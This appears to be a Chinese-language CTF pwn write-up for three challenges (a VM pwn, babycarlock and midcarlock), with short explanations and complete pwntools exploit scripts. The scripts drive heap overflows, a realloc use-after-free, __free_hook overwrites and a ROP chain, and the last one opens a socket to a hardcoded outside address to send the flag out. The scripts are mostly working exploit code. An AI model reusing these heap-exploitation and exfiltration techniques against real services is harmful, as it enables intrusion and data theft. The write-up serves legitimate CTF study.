chall
一道比较简单的vmpwn,没去符号,相对属于比较好逆的
感觉出简单了,如果没给最后的八字节溢出能做,可以利用mvi任意改指针,改成system后再跳上去即可
exp的做法是利用mvi布置sh之后直接跳到八字节溢出布置好的system上执行system("sh")
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from pwn import* context(os='linux', arch='amd64', log_level='debug')
r = remote('47.93.2.254',12713) r.recv()
mov = 0x40165b nop = 0x401437 mvi = 0x401505
code = b"\x3e\x73" code+= b"\x06\x68" code+= b"\x00" code = code.ljust(0x3ff8, b"C") code+= p64(0x4010D0) r.sendline(code)
r.interactive()
|
babycarlock
需要逆一下报文,逆完之后测一测就发现了userPanel.cgi中选项1存在堆溢出,直接改size打freehook即可,输出也没有清空之类的比较简单就拿到了基址
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128
| from pwn import* context(os='linux', arch='amd64', log_level='debug')
r = remote('47.93.2.254',26906) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
r.recv()
code = b'' code+= b'POST /login.cgi HTTP/1.1\r\n' code+= b'Content-Length: 1023\r\n' code+= b'Connection:keep-alive\r\n\r\n' code+= p8(0xf1)+b'emanresu' code+= p8(0xf2)+b'drowssap' r.send(code)
for i in range(10): r.recv() code = b'' code+= b'POST /userPanel.cgi HTTP/1.1\r\n' code+= b'Content-Length: 1024\r\n' code+= b'Connection:keep-alive\r\n\r\n' code+= p8(0)+p8(i)+p16(0)+p32(0x208) code+= b"Z"*0x208 r.send(code)
r.recv() code = b'' code+= b'POST /userPanel.cgi HTTP/1.1\r\n' code+= b'Content-Length: 1024\r\n' code+= b'Connection:keep-alive\r\n\r\n' code+= p8(1)+p8(0x0)+p16(0)+p32(0x20a) code+= b"A"*0x208+p16(0x631) r.send(code)
r.recv() code = b'' code+= b'POST /userPanel.cgi HTTP/1.1\r\n' code+= b'Content-Length: 1024\r\n' code+= b'Connection:keep-alive\r\n\r\n' code+= p8(2)+p8(0x1)+p16(0) r.send(code)
r.recv() code = b'' code+= b'POST /userPanel.cgi HTTP/1.1\r\n' code+= b'Content-Length: 1024\r\n' code+= b'Connection:keep-alive\r\n\r\n' code+= p8(0)+p8(1)+p16(0)+p32(0x1) code+= b"Z" r.send(code)
r.recv() code = b'' code+= b'POST /userPanel.cgi HTTP/1.1\r\n' code+= b'Content-Length: 1024\r\n' code+= b'Connection:keep-alive\r\n\r\n' code+= p8(1)+p8(0x1)+p16(0)+p32(0x1) code+= b"\x50" r.send(code)
libc.address = u64(r.recvuntil(b'\x7f')[-6:]+b'\x00\x00')-1232-0x10-libc.sym['__malloc_hook']
r.recv() code = b'' code+= b'POST /userPanel.cgi HTTP/1.1\r\n' code+= b'Content-Length: 1024\r\n' code+= b'Connection:keep-alive\r\n\r\n' code+= p8(1)+p8(0x1)+p16(0)+p32(0x10) code+= b"/bin/sh\x00" r.send(code)
r.recv() code = b'' code+= b'POST /userPanel.cgi HTTP/1.1\r\n' code+= b'Content-Length: 1024\r\n' code+= b'Connection:keep-alive\r\n\r\n' code+= p8(2)+p8(0x3)+p16(0) r.send(code)
r.recv() code = b'' code+= b'POST /userPanel.cgi HTTP/1.1\r\n' code+= b'Content-Length: 1024\r\n' code+= b'Connection:keep-alive\r\n\r\n' code+= p8(2)+p8(0x2)+p16(0) r.send(code)
r.recv() code = b'' code+= b'POST /userPanel.cgi HTTP/1.1\r\n' code+= b'Content-Length: 1024\r\n' code+= b'Connection:keep-alive\r\n\r\n' code+= p8(0)+p8(0x10)+p16(0)+p32(0x350) code+= b"Q"*0x1e8+p64(0x211)+p64(libc.sym['__free_hook']) r.send(code)
r.recv() code = b'' code+= b'POST /userPanel.cgi HTTP/1.1\r\n' code+= b'Content-Length: 1024\r\n' code+= b'Connection:keep-alive\r\n\r\n' code+= p8(0)+p8(0x11)+p16(0)+p32(0x200) code+= b"Q" r.send(code)
r.recv() code = b'' code+= b'POST /userPanel.cgi HTTP/1.1\r\n' code+= b'Content-Length: 1024\r\n' code+= b'Connection:keep-alive\r\n\r\n' code+= p8(0)+p8(0x12)+p16(0)+p32(0x200) code+= p64(libc.sym['system']) r.send(code)
r.recv() code = b'' code+= b'POST /userPanel.cgi HTTP/1.1\r\n' code+= b'Content-Length: 1024\r\n' code+= b'Connection:keep-alive\r\n\r\n' code+= p8(2)+p8(0x1)+p16(0) r.send(code)
print hex(libc.address) r.interactive()
|
midcarlock
分析
报文格式和babycarlock一样
变化的地方在于当使用选项1进行写入操作并返回内容时,会判断输入的size和申请的时候记录的size是否相等:
- 相等则正常读入并输入相应size的内容
- 不相等则调用
realloc重新分配大小,然而在使用realloc重新分配大小后并没有修改记录的指针,只修改了对应的size,我们知道realloc请求的size大于原本的size时原本的chunk会被释放掉,所以就有了uaf的可能;当然也可能造成堆溢出,因为指针指向的chunk大小可能小于记录的size
需要注意两点:
- 使用选项1进行写入时会清空对应size的内容,所以无法直接把基址带出来
- 本题的标准输入输出和标准错误都被关闭,最后需要把flag弹到vps上
思路
如何泄露基址:利用选项1中的realloc释放第八个chunk到unsorted bin中,程序会返回原本chunk中的内容,也就得到了基址
如何反弹shell:之后的做法也比较常规了,就是构造chunk overlap,改__free_hook为gadget,之后做栈迁移构造rop,通过socket发送flag即可
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151
| from pwn import* context(os='linux', arch='amd64', log_level='debug') r = process('./main')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
r.recv() code = b'' code+= b'POST /login.cgi HTTP/1.1\r\n' code+= b'Content-Length: 1023\r\n' code+= b'Connection:keep-alive\r\n\r\n' code+= p8(0xf1)+b'emanresu' code+= p8(0xf2)+b'drowssap' r.send(code)
for i in range(10): r.recv() code = b'' code+= b'POST /userPanel.cgi HTTP/1.1\r\n' code+= b'Content-Length: 1024\r\n' code+= b'Connection:keep-alive\r\n\r\n' code+= p8(0)+p8(i)+p16(0)+p32(0x208) code+= b"Z"*0x208 r.send(code)
r.recv() code = b'' code+= b'POST /userPanel.cgi HTTP/1.1\r\n' code+= b'Content-Length: 1024\r\n' code+= b'Connection:keep-alive\r\n\r\n' code+= p8(0)+p8(10)+p16(0)+p32(0x308) code+= b"/bin/sh\x00" r.send(code)
for i in range(6): r.recv() code = b'' code+= b'POST /userPanel.cgi HTTP/1.1\r\n' code+= b'Content-Length: 1024\r\n' code+= b'Connection:keep-alive\r\n\r\n' code+= p8(2)+p8(i)+p16(0) r.send(code)
r.recv() code = b'' code+= b'POST /userPanel.cgi HTTP/1.1\r\n' code+= b'Content-Length: 1024\r\n' code+= b'Connection:keep-alive\r\n\r\n' code+= p8(1)+p8(6)+p16(0)+p32(0x360) code+= b'A' r.send(code)
r.recv() code = b'' code+= b'POST /userPanel.cgi HTTP/1.1\r\n' code+= b'Content-Length: 1024\r\n' code+= b'Connection:keep-alive\r\n\r\n' code+= p8(1)+p8(7)+p16(0)+p32(0x370) code+= b'\xe0' r.send(code)
libc.address = u64(r.recvuntil(b'\x7f')[-6:]+b'\x00\x00')-0x10-96-libc.sym['__malloc_hook']
r.recv() code = b'' code+= b'POST /userPanel.cgi HTTP/1.1\r\n' code+= b'Content-Length: 1024\r\n' code+= b'Connection:keep-alive\r\n\r\n' code+= p8(1)+p8(6)+p16(0)+p32(0x360) code+= p64(libc.sym['__free_hook']) r.send(code)
r.recv() code = b'' code+= b'POST /userPanel.cgi HTTP/1.1\r\n' code+= b'Content-Length: 1024\r\n' code+= b'Connection:keep-alive\r\n\r\n' code+= p8(0)+p8(0x50)+p16(0)+p32(0x208) code+= b"A" r.send(code)
prdi_r = libc.address+0x0000000000023b72 psri_r = libc.address+0x000000000002604f prdx_pr12_r = libc.address+0x0000000000119241 prax_r = libc.address+0x0000000000047400 syscall_r = libc.address+0x00000000000630d9 leave_r = libc.address+0x00000000000578f8 p3_r = libc.address+0x0000000000062599
base = libc.sym['__free_hook'] rop = b'' rop+= p64(prdx_pr12_r) rop+= p64(0) rop+= p64(base) rop+= p64(p3_r) rop+= p64(leave_r) rop+= p64(0) rop+= p64(p3_r) rop+= p64(prdi_r) rop+= p64(base) rop+= p64(prdi_r)+p64(libc.sym['__free_hook']+0x1d8) rop+= p64(psri_r)+p64(0) rop+= p64(prax_r)+p64(2) rop+= p64(syscall_r) rop+= p64(prdi_r)+p64(0) rop+= p64(psri_r)+p64(libc.sym['__free_hook']+0x200) rop+= p64(prdx_pr12_r)+p64(0x50)+p64(0) rop+= p64(prax_r)+p64(0) rop+= p64(syscall_r) rop+= p64(prax_r)+p64(41) rop+= p64(prdi_r)+p64(2) rop+= p64(psri_r)+p64(1) rop+= p64(prdx_pr12_r)+p64(0)*2 rop+= p64(syscall_r) rop+= p64(prax_r)+p64(42) rop+= p64(prdi_r)+p64(1) rop+= p64(psri_r)+p64(libc.sym['__free_hook']+0x1e0) rop+= p64(prdx_pr12_r)+p64(0x10)+p64(0) rop+= p64(syscall_r) rop+= p64(prax_r)+p64(1) rop+= p64(prdx_pr12_r)+p64(0x50)+p64(0) rop+= p64(psri_r)+p64(libc.sym['__free_hook']+0x200) rop+= p64(prdi_r)+p64(1) rop+= p64(prax_r)+p64(1) rop+= p64(syscall_r) rop+= b'flag\x00\x00\x00\x00' rop+= p64(0xbb061b400a1a0002)
r.recv() code = b'' code+= b'POST /userPanel.cgi HTTP/1.1\r\n' code+= b'Content-Length: 1024\r\n' code+= b'Connection:keep-alive\r\n\r\n' code+= p8(0)+p8(0x51)+p16(0)+p32(0x208) code+= p64(libc.address+0x154d0a) code+= rop r.send(code) l = len(rop)
r.recv() code = b'' code+= b'POST /userPanel.cgi HTTP/1.1\r\n' code+= b'Content-Length: 1024\r\n' code+= b'Connection:keep-alive\r\n\r\n' code+= p8(2)+p8(0x51)+p16(0)
r.send(code)
r.interactive()
|